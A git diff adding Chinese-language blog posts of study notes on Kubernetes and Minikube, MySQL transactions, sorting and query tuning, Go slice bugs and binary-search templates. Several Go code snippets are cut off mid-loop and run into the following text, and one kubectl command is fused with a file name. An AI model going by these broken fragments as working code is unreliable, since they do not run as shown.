Borg 演变而来,Borg 是用于配置和分配计算机资源的平台。 + +容器为微服务等小型应用程序提供宿主。应用程序由成千上百个容器组成。 + +可用性:在用户看来服务不停机。 +可伸缩:Scale down / Scale up load decreasing +再难恢复:备份数据 + +#### Kubernetes 集群 + +至少一个主节点(control Plane)连接到几个 Node.每个 Node 有 Kubernetes 进程。(这个使得集群之间可以通信,或者是运行一些应用程序,每个 Node 上部署了不同应用程序的容器。)主节点(control Plane)上面其中一个是 API Server (UI\API\CLI)(也是一个容器),是 Kubernetes 集群的入口,如果使用 Kubernetes UI 和 API ,不同的 Kubernetes 客户端将像 UI 一样进行对话。如果使用脚本和自动化技术以及命令行工具,这些也是与 API 服务器通信 + +#### Kubernetes control Plane + +上面有什么? + +API SERVER: + +- API +- CLI +- UI + +这三者都是和 API SERVER 通过 yaml 或者 json 文件进行通讯。 + +Controller Manager: + +> 用来描述集群中发生的事情是否有什么需要修复。容器死了需要重新启动? + +Scheduler: + +> 在不同 Node 上根据点的负载调度调度容器。NodeA 30% NodeB 60% where to put pod ? to NodeA or to NodeB?OK to put NodeA + +ETCD: + +> 随时保存 Kubernetes 集群的当前状态。以及配置数据,还有集群所有的状态 Node 以及该 Node 内的容器。备份和恢复是根据 ETCD 的快照进行。 + +Virtual NetWork: + +> 所有节点通过该虚拟网络进行交流,使得集群内部的所有节点变成一台强大的机器。 + +control Plane 很重要,如果失去对 control Plane 的访问就无法访问集群,所以一般都需要备份:Master 两个 master + +#### Kubernetes 组件 + +Node:虚拟或者物理节点 + +Pod: 对容器的抽象,Docker COntainer 的容器。比如一个 pod 里面放 My-App-Container 和 DB-Container.主应用程序和辅助容器必须在其中运行。 + +> Kubernetes 提供开箱即用的虚拟网络。每个 pod 都有自己的 ip 地址。pod=(my-app-container-ip)+(db-container-ip)。这是一个内部 ip 地址。但是如果该 b-container 挂掉,那么就会创建一个新的地址,分配一个新的 ip,ip 地址变了,那么说明使用 ip 地址通信是不方便的。 + +Service: + +静态 IP 地址和永久 IP 地址。如果使用服务提供的静态 ip ,而不是 container 的 ip.那么 pod=(my-app-container-ServiceIP)+(db-container-ServiceIP) + +> 服务和 pod 的生命周期没有连接,即使 pod 死了。 + +> 不希望服务是公开的,那么创建服务的时候就指定服务的形式。 + +Ingress: +把 https://127.0.0.1:9090=https://my-app.com + +ConfigMap: + +DB_URL= mongo-db-service +User="zhangsabn" +Password="32y7423" + +> 对应用程序的外部配置。 + +> 通过 ConfigMap 的映射获取到实际的数据。 + +Secret: + +和 ConfigMap 相似,但是它不是以文本格式存储的,而是以编码的格式存储在 base 64 当中。使用第三方加密。当 Secret 组件连接到 pod 的时候,pod 可以实际的看到这些数据,并从 Secret 中间读取。 +pod=(my-app-container-Service-Secret/ConfigMap)+(db-container-Service-Secret/ConfigMap) + +DataStorage: +另外一个组件是卷:在物理存储上附加一个物理存储硬盘。 +pod=(my-app-container-Service-Secret/ConfigMap-Volume)+(db-container-Service-Secret/ConfigMap-Volume) + +Volume 可以是本地,也可以是远程。 +Kubernetes 不管理任何数据持久性。 + +Deployment: +为 NodeA 上的 pod 指定副本数量。Deployment 是 pod 上的另外一层抽象,便于复制 pod,使得一个 pod 挂掉,请求可以转发到另外一个 pod。 +DeploymentA=pod(myAPP)+pod(DB) +DeploymentB=pod(myAPP)+pod(DB)X +但是不能使用 Deployment 复制数据库 + +StatefulSet: + +为了放置一个 Node 崩溃带来的无法访问,那么在多台服务器上复制所有的内容。另外一个节点作为副本。可以复制数据库。专门针对数据库等应用程序。 + +> 任何有状态的应用程序或者数据库或者状态集,应该使用 StatefulSet 来创建而不是 Deployment。负责复制容器并把他们扩展或关闭,但是确保数据库读写是同步的,防止出现数据库不一致的情况。 + +总结一下:pod 是容器的抽象。service 用来交流。ingress 路由分发到集群。ConfigMap 和 Secret 用来配置映射。Volume 用来数据持久性。Deployment 和 StatefulSet 用来 pod 复制。 + +#### Kubernetes Configuration + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: my-app + labels: + app: my-app +spec: + replicas: 2 + selector: + matchLables: + app: my-app + template: + metadata: + lables: + app: my-app + spec: + containers: + - name: my-app + image: my-app + env: + - name: SOME_ENV + value: $SOME_ENV + ports: + +``` + +`Deployment`:创建 pods 的模板。 +`spec`:replicas 是副本的数量。 + +每个配置文件有三部分: +`metadata` 和`spec`(specification 规格)和`status` +`spec`是`kind` 的数量。 +`status` 是 Desired 还是是 Actual? + +- K8S 自动持续的更新状态 。在 status 里面的 replicas 不等与 spec 的 replicas。 + +> K8S 从哪里获取到 status data? + +ETCD 保存了当前任何 K8S 组件的状态 + +自顶向下的结构。 + +```text +{Client} + +//Control Plane +{Api Server +Scheduler +Controller Manager +ETCD} + +{Key Value Store} + +{Node} +``` + +#### Minikube ? kubectl? Set-up Minikube cluster + +- Master processes And Work processes ON one Mashine +- Docker pre-installed + +> kubectl? + +- K8S 集群的命令行 +- 通过 API Server 和 cluster 对话 +- API Server-MasterProcesses +- Cluster-Worker Processes +- CLI for API server +- 是 API /UI/CLI 三个里面最有力的。 + +#### MiniKube + +参考:https://minikube.sigs.k8s.io/docs/start/ + +第一步: + +```shell +brew install minikube +``` + +第二步两层 Docker: + +安装一个容器或者虚拟机工具来运行 minikube,是 mini cube 的驱动程序。 +mini cube 实际上已经安装了 docker 来运行这些容器。但是 Docker 作为 mini cube 的驱动程序意味着:把 minikube 作为 docker 容器本身托管在本地机器上。 + +- minikube 作为 Docker 容器运行。 +- Docker inside Minikube to run our application containers + +> 里面的 docker 是来运行我们放在 pod 里面的被 docker 打包的应用程序容器。外面的容器是来运行 minikube 本身? + +```shell +brew install minikube +``` + +```shell +brew install --cash --appdir=/Applications docker +``` + +```shell +minikube start --driver docker +``` + +查看集群状态 + +```shell +minikube status +``` + +集群进行交互 +现在可以开始使用 kubectl 与我们的集群进行交互 + +```shell +kubectl get node +``` + +使用 kubectl 来部署应用。minikube 仅仅只是启动和删除集群。接下来部署一个 mongodb 数据库和一个 web 数据库,并且使用 ConfigMap 和 Secret 外部配置连接到数据库。最后使得我们的服务可以在浏览器上访问。 + +使用 ConfigMap 来映射 MongoDB Endpoint +mongo-config.yaml 文件 + +```yaml + +``` + +使用 Secret 来映射 MongoDB User 和 PWD +mongo-secret.yaml 文件 + +```yaml + +``` + +使用 Deployment 和 Service 是部署 Our own WebAPP with internal Service +mongo.yaml 文件的字段说明:template 是 pod 的配置,因为 Deployment 管理 pod,containers: which image? which port? lable :all replicas have the same lable.每个部件都有唯一的一个名称,但是可以共享相同的标签。服务和标签通过标签找到自己 + +```yaml + +``` + +```shell +kubectl get node +``` + +```shell +kubectl apply -f mongo-config.yaml +``` + +```shell +kubectl apply -f mongo-secret.yaml +``` + +```shell +kubectl apply -f mongo.yaml +``` + +```shell +kubectl apply -f webapp.yaml +``` + +```shell +kubectl get pod +``` + +```shell +kubectl describe service webapp-service +``` + +```shell +kubectl get pod +``` + +```shell +kubectl logs2023-2-20-test-markdown.md +``` + +```shell +kubectl get svc +``` + +### Service Mesh + +Service Mesh 通常是以轻量级网络代理阵列的形式出现,这些代理和应用程序代码部署在一起,应用程序无需感知代理的存在。 + +服务通讯的中间层 +轻量级网络代理 +服务无感知 +解耦服务的超时,重试,监控,追踪和服务发现。 +应用程序或者服务间的 TCP/IP 通信,负责服务的调用,限流,熔断和监控,原本服务间通过框架实现的事情,交给 ServiceMesh 来实现。 + +> 服务间通讯的中间层,负责服务的调用,限流,重试,熔断,服务发现。 + +Service Mesh 是作为 SideCar 运行的,应用程序间的流量都会通过它。对应用流量的控制在 Server Mesh 中间实现。 + +### Linkerd (Service Mesh 的实现)如何工作? + +- Linkerd 服务请求路由到目的地址。判断是到生产环境?测试环境?staging server (生产环境的镜像)路由到本地环境还是云环境?这些路由信息可以是全局配置又或者是服务单独配置。 +- 确认目的地址后把流量发送到相应的服务发现端点,在 kubernetes 中是 service,然后 service 会将服务转发给后端的实例。 +- Linkerd 根据观测到的最近请求的延迟时间,选择出实例中响应的最快的实例。 +- Linkerd 把请求转发给该实例,记录请求的响应类型和延迟数据。 +- 如果该实例挂,那么 Linkerd 转发到其他的实例重试。 +- 如果实例持续的返回 error 那么就把该实例从负载均衡池里移除,再周期性的重试。 +- 如果请求的截至时间已,那么主动失败该请求,而不是尝试添加负载。 +- Linkerd 以 Metric 和分布式追踪的性质捕获上述行为的各个方面,把追踪信息集中发送到 Metric 系统。 + +> twitter 开发的 Finagle、Netflix 开发的 Hystrix 和 Google 的 Stubby 这样的 “胖客户端” 库,这些就是早期的 Service Mesh,但是它们都近适用于特定的环境和特定的开发语言,并不能作为平台级的 Service Mesh 支持。 + +云原生的架构下,容器的使用赋予了异构应用的可能性。Kubernetes 使得用户可以快速的编排出复杂依赖关系的应用程序。开发者不需要关注,应用程序的监控,服务发现,以及分布式追踪这些繁琐的事情。 + +### 微服务的特点 + +> 每个服务都运行在自己的进程里,并以 HTTP RESTful API 来通信 +> RESTful API 通信就是:在 REST 架构风格中,数据和功能被视为资源,并使用统一资源标识符 (URI) 进行访问。最重要的是与服务器每次的交互都是无状态的。 + +- 围绕业务功能进行组织。(不再是以前的纵向切分,而改为按业务功能横向划分,一个微服务最好由一个小团队针对一个业务单元来构建。) +- be of the Web,not behind the Web。(大量的逻辑是放在客户端的,而服务端则侧重提供资源) +- 去中心化,自我管理。(不必在局限在一个系统里,不必围绕着一个中心。) +- 相互通过 API 来取数据。(只管理和维护自己的数据,相互之间互不直接访问彼此的数据,只通过 API 来存取数据。) +- 基础设施自动化(infrastructure automation),每个微服务应该关注于自己的业务功能实现,基础设施应该尽量自动化——构建自动化、测试自动化、部署自动化、监控自动化。 +- 考虑可靠性。为应对失败而设计(design for failure),设计之初就要考虑高可靠性(high reliability)和灾难恢复(disaster recover),并考虑如何着手进行错误监测和错误诊断。 + +> 服务要容易替换,用 Ruby 快速开发的原型可以由用 Java 实现的微服务代替,因为服务接口没变,所以也没有什么影响。 + +> 职责独立完整。按功能单元组织服务,职责最好相对独立和完整,以避免对其他服务有过多的依赖和交互。 + +> 只做一个业务,专注做好它。短小精悍、独立自治:只做一个业务并专注地做好它。 + +> 自动化测试和部署。相比大而全的单个服务,微服务会有更多的进程,更多的服务接口,更多不同的配置,如果不能将部署和测试自动化,微服务所带来的好处将会大大逊色。 + +> 尽量减少运维的负担:微服务的增多可能会导致运维成本增加,监控和诊断故障也可能更困难,所以要未雨绸缪,在一开始的设计阶段,就要充分考虑如何及时地发现问题和解决问题。 + +为什么需要微服务? + +- 可以频繁的更改软件,集成成本低,快速发布新功能。 +- diff --git a/_posts/2023-2-3-test-markdown.md b/_posts/2023-2-3-test-markdown.md new file mode 100644 index 000000000000..437ad4c6a8cd --- /dev/null +++ b/_posts/2023-2-3-test-markdown.md @@ -0,0 +1,91 @@ +--- +layout: post +title: MYSQL 事务 +subtitle: +tags: [Mysql] +comments: true +--- + +### 事务 + +如果是可重复读隔离级别的事务,事务 T 启动的时候会创建一个视图 read-view,之后事务 T 执行期间,即使有其他事务修改了数据,事务 T 看到的仍然跟在启动时看到的一样。 + +但是如果一个**事务**要更新一行,如果刚好有另外一个事务拥有这一行的行锁,它会被锁住,进入等待状态。问题是,既然进入了等待状态,那么等到这个事务自己获取到行锁要更新数据的时候,它读到的值又是什么呢? + +#### 事务启动的时间 + +```text +时刻1——start transaction with consistend sanpshot(事务A) +时刻2——start transaction with consistend sanpshot(事务B) +时刻3————update t set k=k+1 where id =1(事务C) +时刻4——update t set k=k+1 where id =1;select k from t where id =1;(事务4) +时刻5——elect k from t where id =1;commit(事务A) +时刻6——commit(事务B) +``` + +> 事务 C 没有使用更新语句是因为事务 A 本身就是一个事务,语句更新后自动提交 + +start 不是事务启动的时间。在执行到他们之后的第一个操作 InnoDB ,事务才真正的启动,如果想马上启动一个事务,那么旧可以使用`start transaction with consistent snapshot` + +在 MySQL 里,有两个“视图”的概念: + +一个是 view。它是一个用查询语句定义的虚拟表,在调用的时候执行查询语句并生成结果。创建视图的语法是 create view ... ,而它的查询方法与表一样。 + +另一个是 InnoDB 在实现 MVCC 时用到的一致性读视图,即 consistent read view,用于支持 RC(Read Committed,读提交)和 RR(Repeatable Read,可重复读)隔离级别的实现。 + +#### “快照”在 MVCC 里是怎么工作的? + +> MVCC 是对整个库的快照,并是整个库的拷贝 + +> 每个事务都需要向 InnoDB 的事务系统申请一个唯一递增的事务 ID + +> 每行数据是有多个版本的,每个版本都有自己的 row trx_id + +> row trx_id 是就是每个事务从事务系统申请一个唯一递增的事务 ID + +> 旧的数据版本要保留,并且在新的数据版本里面,有信息可以直接拿到它。 + +> 在可重复读隔离级别下,事务在启动的时候就“拍了个快照”。注意,这个快照是基于整库的。 + +这时,会说这看上去不太现实啊。如果一个库有 100G,那么我启动一个事务,MySQL 就要拷贝 100G 的数据出来,这个过程得多慢啊。可是,我平时的事务执行起来很快啊。 + +实际上,我们并不需要拷贝出这 100G 的数据。我们先来看看这个快照是怎么实现的。 + +InnoDB 里面每个事务有一个唯一的事务 ID,叫作 transaction id。它是在事务开始的时候向 InnoDB 的事务系统申请的,是按申请顺序严格递增的。 + +按照可重复读的定义,一个事务启动的时候,能够看到所有已经提交的事务结果。但是之后,这个事务执行期间,其他事务的更新对它不可见。 + +因此,一个事务只需要在启动的时候声明说,“以我启动的时刻为准,如果一个数据版本是在我启动之前生成的,就认;如果是我启动以后才生成的,我就不认,我必须要找到它的上一个版本”。 + +> 在实现上, InnoDB 为每个事务构造了一个数组,用来保存这个事务启动瞬间,当前正在“活跃”的所有事务 ID。“活跃”指的就是,启动了但还没提交。 + +> 每个事务都有一个数组,这个视图数组把所有的 row trx_id 分成几种不同的情况:已提交事务,未提交事务,未开始事务 +> 已提交事务是可见的。 +> 未开始事务是不可见的。 +> 未提交事务有两种情况:如果自己的 row tri_id 在数组里面,那么证明这个版本是由已提交的事务生成的,可见。如果是不再数组,那么是未提交的事务生成的。不可见。 + +InnoDB 利用所有的数据都有多个版本,实现了秒级创建快照的能力。 + +> 一个数据版本,对于一个事务视图来说,除了自己的更新总是可见的以外。有三种情况:版本未提交,不可见。版本已经提交,但是是在视图之后创建提交的,不可见;版本已提交,但是是在视图创建之前提交的,可见。 + +> 在可重复读隔离级别下,在事务开始的时候创建一致性视图,之后事务的每个查询共用这一个视图,在读提交隔离级别下,每个语句执行前都会重新算出一个新的视图。 + +#### 总结: + +> InnoDB 的行数据有多个版本,每个行数据有自己的 row trx_id.每个事务或者语句有自己的一致性视图。普通的查询语句是一致性读。一致性读会根据 row trx_id 和一致性视图确定数据版本的可见行。 + +> 可重复读:查询只承认在事务启动之前就提交的数据 +> 读提交:查询只承认在语句启动之前已经提交的数据 +> 当前读:总是读出已经提交完成的最新版本 + +“可重复读”隔离级别下的视图是事务启动的时候创建的。整个事务期间都用这个视图。 +“读提交”隔离级别下的视图是是在每个 SQL 语句开始执行的时候创建的。 +“读未提交“的隔离级别下直接返回记录上的最新值,没有视图概念。 +"串行化"的隔离级别下直接用加锁的方式避免串行访问。 + +- 读未提交:造成脏读问题。 +- 读提交:造成不可重复读问题 +- 可重复读:解决了不可重复读问题,但是造成幻读问题 + +什么时候需要“可重复读”的场景呢? +数据校对的场景:判断上个月的余额和当前余额的差额,是否与本月的账单明细一致。一定希望在校对过程中,即使有用户发生了一笔新的交易,也不影响的校对结果。 diff --git a/_posts/2023-2-4-test-markdown.md b/_posts/2023-2-4-test-markdown.md new file mode 100644 index 000000000000..985a9eafe2f0 --- /dev/null +++ b/_posts/2023-2-4-test-markdown.md @@ -0,0 +1,276 @@ +--- +layout: post +title: 关于MYSQL 关键字的具体实现 +subtitle: Order by +tags: [Mysql] +comments: true +--- + +### Order by + +```sql +CREATE TABLE `t` ( + `id` int(11) NOT NULL, + `city` varchar(16) NOT NULL, + `name` varchar(16) NOT NULL, + `age` int(11) NOT NULL, + `addr` varchar(128) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `city` (`city`) +) ENGINE=InnoDB; +``` + +查询城市是“杭州”的所有人名字,并且按照姓名排序返回前 1000 个人的姓名、年龄 + +```sql +select city,name,age from t where city='杭州' order by name limit 1000 ; +``` + +```sql +explain select city,name,age from t where city='杭州' order by name limit 1000 ; +``` + +Extra 这个字段中的“Using filesort”表示的就是需要排序,MySQL 会给每个线程分配一块内存用于排序,称为 sort_buffer。 + +通常情况下,这个语句执行流程如下所示 : + +- 初始化 sort_buffer,确定放入 name、city、age 这三个字段; +- 从索引 city 找到第一个满足 city='杭州’条件的主键 id +- 到主键 id 索引取出整行,取 name、city、age 三个字段的值,存入 sort_buffer 中; +- 从索引 city 取下一个记录的主键 id; +- 重复步骤 3、4 直到 city 的值不满足查询条件为止 +- 对 sort_buffer 中的数据按照字段 name 做快速排序; +- 按照排序结果取前 1000 行返回给客户端。 + +在上面这个算法过程里面,只对原表的数据读了一遍,剩下的操作都是在 sort_buffer 和临时文件中执行的。但这个算法有一个问题,就是如果查询要返回的字段很多的话,那么 sort_buffer 里面要放的字段数太多,这样内存里能够同时放下的行数很少,要分成很多个临时文件,排序的性能会很差。 + +如果单行很大,这个方法效率不够好。 + +设置单行参数,让 MYSQL 采用另外一种算法 + +```sql +SET max_length_for_sort_data = 16; +``` + +city、name、age 这三个字段的定义总长度是 36,我把 max_length_for_sort_data 设置为 16,我们再来看看计算过程有什么改变。新的算法放入 sort_buffer 的字段,只有要排序的列(即 name 字段)和主键 id。 + +排序的结果就因为少了 city 和 age 字段的值,不能直接返回了,整个执行流程就变成如下所示的样子: + +- 初始化 sort_buffer,确定放入两个字段,即 name 和 id; +- 从索引 city 找到第一个满足 city='杭州’条件的主键 id +- 到主键 id 索引取出整行,取 name、id 这两个字段,存入 sort_buffer 中; +- 从索引 city 取下一个记录的主键 id; +- 重复步骤 3、4 直到不满足 city='杭州’条件为止,也就是图中的 ID_Y; +- 对 sort_buffer 中的数据按照字段 name 进行排序; +- 遍历排序结果,取前 1000 行,并按照 id 的值回到原表中取出 city、name 和 age 三个字段返回给客户端。 + +#### 全字段排序 VS rowid 排序 + +如果 MySQL 实在是担心排序内存太小,会影响排序效率,才会采用 rowid 排序算法,这样排序过程中一次可以排序更多行,但是需要再回到原表去取数据。 + +如果 MySQL 认为内存足够大,会优先选择全字段排序,把需要的字段都放到 sort_buffer 中,这样排序后就会直接从内存里面返回查询结果了,不用再回到原表去取数据。 + +这也就体现了 MySQL 的一个设计思想:如果内存够,就要多利用内存,尽量减少磁盘访问。 + +对于 InnoDB 表来说,rowid 排序会要求回表多造成磁盘读,因此不会被优先选择。 + +#### 如何优化 Order by + +> 做 order by 的两个特点:原数据无序,为了让原数据有序可以建立索引 + +MySQL 之所以需要生成临时表,并且在临时表上做排序操作,其原因是原来的数据都是无序的。 + +```sql +alter table t add index city_user(city, name); +``` + +上面这个语句还是需要回表才能得到带有 age 的完整的数据 + +覆盖索引是指,索引上的信息足够满足查询请求,不需要再回到主键索引上去取数据。 + +```sql +alter table t add index city_user(city, name,age ); +``` + +执行过程: + +- 从索引 (city,name,age) 找到第一个满足 city='杭州’条件的记录,取出其中的 city、name 和 age 这三个字段的值,作为结果集的一部分直接返回; +- 从索引 (city,name,age) 取下一个记录,同样取出这三个字段的值,作为结果集的一部分直接返回; +- 重复执行步骤 2,直到查到第 1000 条记录,或者是不满足 city='杭州’条件时循环结束。 + +### 如何正确地显示随机消息? + +英语学习 App 首页有一个随机显示单词的功能,也就是根据每个用户的级别有一个单词表,然后这个用户每次访问首页的时候,都会随机滚动显示三个单词。他们发现随着单词表变大,选单词这个逻辑变得越来越慢,甚至影响到了首页的打开速度。 + +简化:去掉每个级别的用户都有一个对应的单词表这个逻辑,直接就是从一个单词表中随机选出三个单词。这个表的建表语句和初始数据的命令如下: + +```sql +mysql> CREATE TABLE `words` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `word` varchar(64) DEFAULT NULL, + PRIMARY KEY (`id`) +) ENGINE=InnoDB; +delimiter;; +create procedure idata() +begin + declare i int; + set i=0; + while i<10000 do + insert into words(word) values(concat(char(97+(i div 1000)), char(97+(i % 1000 div 100)), char(97+(i % 100 div 10)), char(97+(i % 10)))); + set i=i+1; + end while; +end;; +delimiter; +call idata(); +``` + +方法 1: + +```sql +mysql> select word from words order by rand() limit 3; +``` + +对于 InnoDB 表来说,执行全字段排序会减少磁盘访问,因此会被优先选择。 + +order by rand() 使用了内存临时表,内存临时表排序的时候使用了 rowid 排序方法。 + +### 条件字段函数操作 + +```sql +mysql> CREATE TABLE `tradelog` ( + `id` int(11) NOT NULL, + `tradeid` varchar(32) DEFAULT NULL, + `operator` int(11) DEFAULT NULL, + `t_modified` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `tradeid` (`tradeid`), + KEY `t_modified` (`t_modified`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; +``` + +```sql +mysql> select count(*) from tradelog where month(t_modified)=7; +``` + +对索引字段做函数操作,可能会破坏索引值的有序性,因此优化器就决定放弃走树搜索功能,优化器可以选择遍历主键索引,也可以选择遍历索引 t_modified,优化器对比索引大小后发现,索引 t_modified 更小,遍历这个索引比遍历主键索引来得更快。因此最终还是会选择索引 t_modified。 + +对于 `select * from tradelog where id + 1 = 10000`这个 SQL 语句,这个加 1 操作并不会改变有序性,但是 MySQL 优化器还是不能用 id 索引快速定位到 9999 这一行。所以,需要在写 SQL 语句的时候,手动改写成 where id = 10000 -1 才可以。 + +### 隐式类型转化 + +```sql +mysql> select * from tradelog where tradeid=110717; +``` + +在 MySQL 中,字符串和数字做比较的话,是将字符串转换成数字。 + +```sql +mysql> select * from tradelog where tradeid=110717; +``` + +这个语句相当于: + +```sql +mysql> select * from tradelog where CAST(tradid AS signed int) = 110717; + +``` + +### 隐式字符编码转换 + +如果两个表的字符集不同。那么在连接的时候会先把 utf8 字符串转成 utf8mb4 字符集,然后再进行比较。 + +> 这个设定很好理解,utf8mb4 是 utf8 的超集。类似地,在程序设计语言里面,做自动类型转换的时候,为了避免数据在转换过程中由于截断导致数据错误,也都是“按数据长度增加的方向”进行转换的。 + +```sql +select * from trade_detail where CONVERT(traideid USING utf8mb4)=$L2.tradeid.value; +``` + +连接过程中要求在被驱动表的索引字段上加函数操作,是直接导致对被驱动表做全表扫描的原因 + +### 查询结果长时间不返回 + +```sql +select * from t where id =1 +``` + +解决: + +```sql +show processlist; +``` + +如果出现 State:Waiting for table metadata lock + +出现这个状态表示的是,现在有一个线程正在表 t 上请求或者持有 MDL 写锁,把 select 语句堵住了。 + +这类问题的处理方式,就是找到谁持有 MDL 写锁,然后把它 kill 掉。 + +但是,由于在 show processlist 的结果里面,session A 的 Command 列是“Sleep”,导致查找起来很不方便。不过有了 performance_schema 和 sys 系统库以后,就方便多了。(MySQL 启动时需要设置 performance_schema=on,相比于设置为 off 会有 10% 左右的性能损失) + +通过查询 sys.schema_table_lock_waits 这张表,我们就可以直接找出造成阻塞的 process id,把这个连接用 kill 命令断开即可。 + +```sql +select blocking_pid from sys.schema_table_lock_waits; +``` + +### lock in share mode + +设置慢日志时间阀值 + +```sql +set long_query_time=0 +``` + +在默认的可重复读隔离级别下,select 语句是快照读。 +而 select 语句加锁是当前读 + +```sql +select a from t where id =1 lock in share mode; +``` + +### 幻读是什么 + +幻读是在当前读下:A 事务看到 B 事务插入的数据。 + +加了 for update,都是当前读。而当前读的规则,就是要能读到所有已经提交的记录的最新值 + +### MySQL 提高性能的方法? + +#### kill short connection + +```sql +show processlist; +``` + +在 process list 的列表里面踢掉 sleep 的线程。但是如果线程处于事务中,那么可能有害。 + +```sql +select * from information_schema.innodb_trx \G +``` + +information_schema.innodb_trx 查询事务状态.trx_mysql_thread_id=4,表示 id=4 的线程还处在事务中。因此,如果是连接数过多,可以优先断开事务外空闲太久的连接;如果这样还不够,再考虑断开事务内空闲太久的连接。 + +#### 慢查询的问题 + +慢查询无非就是三;种可能: + +索引没有设计好; +SQL 语句没写好; +MySQL 选错了索引。 + +语句错误(语句重写): + +比如,语句被错误地写成了 `select * from t where id + 1 = 10000`,可以通过下面的方式,增加一个语句改写规则。 + +```sql +mysql> insert into query_rewrite.rewrite_rules(pattern, replacement, pattern_database) values ("select * from t where id + 1 = ?", "select * from t where id = ? - 1", "db1"); +call query_rewrite.flush_rewrite_rules(); +``` + +选错索引(强制索引): + +使用`force index` + +预备发现问题: +上线前,在测试环境,把慢查询日志(slow log)打开,并且把 long_query_time 设置成 0,确保每个语句都会被记录入慢查询日志; +在测试表里插入模拟线上的数据,做一遍回归测试; diff --git a/_posts/2023-3-27-test-markdown.md b/_posts/2023-3-27-test-markdown.md new file mode 100644 index 000000000000..80f6c5a3c412 --- /dev/null +++ b/_posts/2023-3-27-test-markdown.md @@ -0,0 +1,286 @@ +--- +layout: post +title: Bugs:记一些踩坑.... +subtitle: +tags: [bug] +comments: true +--- + +#### 1. for 循环里面删除切片的元素失败 + +> 目标输出 + +```text +[2,3,4] [1,3,4],[1,2,4] ,[1,2,3] +``` + +> 期待输出 + +```text +[2,3,4] +[1,3,4] +[1,2,4] +[1,2,3] +``` + +> 实际输出 + +```text +[2 3 4] +[2 4 4] +[2 4 4] +[2 4 4] +``` + +> 就很离谱,起因是写全排列题的时候一直测试不通过 + +```go +package array + +import "fmt" + +func Run() { + + array := []int{1, 2, 3, 4} + + for i := 0; i < len(array); i++ { + fmt.Println(optionDelete(array, i)) + } + +} + +func optionDelete(temp []int, k int) []int { + //fmt.Println(temp) + res := append(temp[:k], temp[k+1:]...) + return res +} +``` + +> 修改后通过 + +```go +var result [][]int +func permute(nums []int) [][]int { + result = [][]int{} + traverse(nums,[]int{}) + return result +} + +func traverse(option []int,track []int){ + if len(option)==0{ + result = append(result,track) + return + } + for i:=0;i 目标输出 + +```text +[2,3,4] [1,3,4],[1,2,4] ,[1,2,3] +``` + +> 期待输出 + +```text +[2,3,4] +[1,3,4] +[1,2,4] +[1,2,3] +``` + +> 实际输出(结果报错) + +```text +panic: runtime error: slice bounds out of range [1:0] [recovered] +panic: runtime error: slice bounds out of range [1:0] +``` + +```go +package array + +import "fmt" + +func Run10() { + + array := []int{1, 2, 3, 4} + + for i := 0; i < len(array); i++ { + temp := []int{} + copy(temp, array) + fmt.Println(optionDelete(temp, i)) + } + +} + +func optionDelete(temp []int ,k int) []int{ + //fmt.Println(temp) + res:= append(temp[:k],temp[k+1:]...) + return res +} +``` + +> 修改完之后(测试通过)原因是 copy 函数(a,b)是把 b 的元素一个一个放到 a 对应的位置上去,但是如果 a 没有空间,那么得到的 a 始终是[]int{} + +```go +package array + +import "fmt" + +func Run10() { + + array := []int{1, 2, 3, 4} + + for i := 0; i < len(array); i++ { + temp := make([]int,len(array)) + copy(temp, array) + fmt.Println(optionDelete(temp, i)) + } + +} + +func optionDelete(temp []int ,k int) []int{ + res:= append(temp[:k],temp[k+1:]...) + return res +} +``` + +#### 3.标准输出是 1,2,3,4 最后 append 到 result 却是 1 2 3 5 + +> 输入 5,4 + +> 期待输出 + +```text +[[1,2,3,4],[1,2,3,5],[1,2,4,5],[1,3,4,5],[2,3,4,5]] +``` + +> 实际输出 + +```text +[[1,2,3,5],[1,2,3,5],[1,2,4,5],[1,3,4,5],[2,3,4,5]] +``` + +> 测试不通过代码 + +```go +var result [][]int +var length int +func combine(n int, k int) [][]int { + result = [][]int{} + length = k + Travserse( getOption(1,n),[]int{}) + return result +} + +func Travserse(option []int ,track []int){ + if len(track)==length { + // 真就离谱 + // 在这里标准输出是 1,2,3 4 最后输出结果就是 1 2 3 5 + result = append(result,track) + return + } + for i:=0;i 测试通过代码 + +```go +var result [][]int +var length int +func combine(n int, k int) [][]int { + result = [][]int{} + length = k + Travserse( getOption(1,n),[]int{}) + return result +} + +func Travserse(option []int ,track []int){ + if len(track)==length { + // 真就离谱 + // 在这里标准输出是 1,2,3 4 最后输出结果就是 1 2 3 5 + temp:=make([]int,length) + copy(temp,track) + result = append(result,temp) + return + } + for i:=0;i left = 0, right = length-1 +> 终止:left > right +> 向左查找:right = mid-1 +> 向右查找:left = mid+1 +> x 的平方根 + +```go +func mySqrt(x int) int { + return solve(x) +} + +func solve(target int) int{ + left:=0 + right:= target + for left <= right{ + mid := (left+right)/2 + if mid * mid == target{ + return mid + }else if mid *mid > target{ + right = mid-1 + }else{ + left = mid+1 + } + } + return right +} +``` + +> 猜数字大小 + +```go +/** + * Forward declaration of guess API. + * @param num your guess + * @return -1 if num is higher than the picked number + * 1 if num is lower than the picked number + * otherwise return 0 + * func guess(num int) int; + */ + +func guessNumber(n int) int { + left:=0 + right:=n + for left <= right{ + mid := (left+right)/2 + tag := guess(mid) + if tag == 0{ + return mid + }else if tag <0{ + right = mid-1 + }else{ + left = mid +1 + } + } + return 0 +} +``` + +> 搜索旋转排序数组 + +```go +func search(nums []int, target int) int { + left:=0 + right:=len(nums)-1 + for left <= right{ + mid:= left + (right-left)/2 + // mid和left可能是同一个元素 + if nums[mid] >= nums[left]{ + if target > nums[mid]{ + left= mid+1 + }else{ + if target == nums[mid]{ + return mid + }else if target < nums[mid] && nums[left] <= target { + right = mid -1 + }else{ + left = mid +1 + } + } + }else { + if target < nums[mid]{ + right = mid -1 + }else{ + if target == nums[mid]{ + return mid + }else if target > nums[mid] && target <= nums[right]{ + left = mid +1 + }else{ + right = mid -1 + } + } + + } + } + return -1 +} +``` + +#### 模板 2 + +> 它用于查找需要访问数组中当前索引及其直接右邻居索引的元素或条件。 +> 查找条件需要访问元素的直接右邻居 +> 使用元素的右邻居来确定是否满足条件,并决定是向左还是向右。 +> 保证查找空间在每一步中至少有 2 个元素。 +> 需要进行后处理。 当剩下 1 个元素时,循环 / 递归结束。 需要评估剩余元素是否符合条件。 +> 初始条件:left = 0, right = length +> 终止:left == right +> right = mid +> 